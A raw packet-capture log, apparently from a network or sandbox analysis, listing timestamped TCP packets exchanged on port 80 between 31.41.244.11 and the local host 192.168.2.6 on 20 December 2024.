Dec 20, 2024 21:13:25.991385937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.991475105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.991569042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.992281914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.992409945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.992496967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.993463993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.993624926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.993732929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.994616032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.994683981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.994720936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.994788885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.995834112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.995882988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.995974064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.996087074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.997206926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.997219086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.997265100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.997265100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.998307943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.998413086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.998460054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.999593019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.999649048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.999681950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.999717951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.000766039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.000811100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.000940084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.001898050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.001983881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.002031088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.002296925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.002968073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.003099918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.003112078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.003163099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.004298925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.004318953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.004437923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.005352974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.005439997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.005475998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.005554914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.006583929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.006638050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.006652117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.006711006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.007797956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.007855892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.007927895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.008251905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.008939981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.009048939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.009104967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.010091066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.010185957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.010483980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.011301994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.011353016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.011388063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.011440039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.012474060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.012658119 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.012681007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.012731075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.013700962 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.013848066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.014048100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.014869928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.014945984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.014992952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.015415907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.016038895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.016120911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.016153097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.016211987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.017239094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.017359018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.017391920 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.017438889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.018445969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.018512011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.018559933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.018654108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.019625902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.019701004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.019767046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.019867897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.020831108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.020894051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.020931959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.021164894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.022046089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.022145987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.022192001 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.022721052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.023236036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.023305893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.023317099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.023360014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.024398088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.024538994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.024645090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.024719954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.025613070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.025697947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.025743961 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.025861025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.026767969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.026822090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.026854992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.027422905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.028002977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.028106928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.028243065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.029223919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.029304028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.029464006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.030325890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.030520916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.030596972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.031523943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.031652927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.031744957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.032716990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.032793045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.032813072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.032850981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.033915043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.033977985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.034126043 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.035160065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.035296917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.035341024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.036377907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.036442995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.036459923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.036489964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.037473917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.037549973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.037610054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.037610054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.038703918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.038822889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.038923979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.039968014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.040093899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.040163994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.041130066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.041207075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.041207075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.041249037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.042228937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.042340994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.042346954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.042395115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.043453932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.043504000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.043515921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.043695927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.044656038 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.044715881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.044734955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.044794083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.045799017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.045878887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.045909882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.045979977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.047024012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.047077894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.047116041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.047341108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.048197985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.048254013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.048392057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.049432039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.049503088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.049685001 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.050592899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.050645113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.050676107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.050787926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.181051016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.181209087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.181320906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.181358099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.181572914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.181678057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.181778908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.181826115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.182770014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.182952881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.183192968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.183269024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.183281898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.183403969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.184403896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.184475899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.184508085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.184556961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.185537100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.185662985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.185689926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.185740948 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.186707020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.186794043 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.186831951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.186893940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.187902927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.187974930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.188025951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.189063072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.189131021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.189168930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.189232111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.190260887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.190334082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.190339088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.190591097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.191443920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.191586018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.191596985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.191992998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.192611933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.192715883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.192826033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.193763018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.193912029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.193921089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.193958044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.194966078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.195065975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.195100069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.196187019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.196243048 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.196295977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.196602106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.197365999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.197501898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.197597980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.198519945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.198620081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.198723078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.199691057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.199868917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.199966908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.200833082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.200925112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.202009916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.202066898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.202105999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.203217983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.203278065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.203332901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.204400063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.204468012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.204487085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.204644918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.205543041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.205626011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.205699921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.206729889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.206835985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.206906080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.207885981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.208003998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.208014965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.208173037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.209068060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.209191084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.210043907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.210247993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.210336924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.210365057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.210418940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.211445093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.211544037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.211577892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.211678028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.212632895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.212723017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.212748051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.212776899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.213778019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.213879108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.213952065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.214978933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.215034008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.215066910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.215243101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.216140032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.216198921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.216247082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.216351032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.217371941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.217446089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.217482090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.217567921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.218501091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.218614101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.218615055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.218672991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.219696045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.219794035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.219822884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.219858885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.220863104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.220942974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.220966101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.221203089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.222029924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.222148895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.222158909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.222273111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.223366976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.223447084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.223653078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.224080086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.224524021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.224730968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.224767923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.224836111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.225605011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.225716114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.225719929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.225760937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.226767063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.226830959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.226865053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.226912022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.227917910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.228014946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.228019953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.228082895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.229084969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.229193926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.229290962 CET	49887	80	192.168.2.6	31.41.244.11
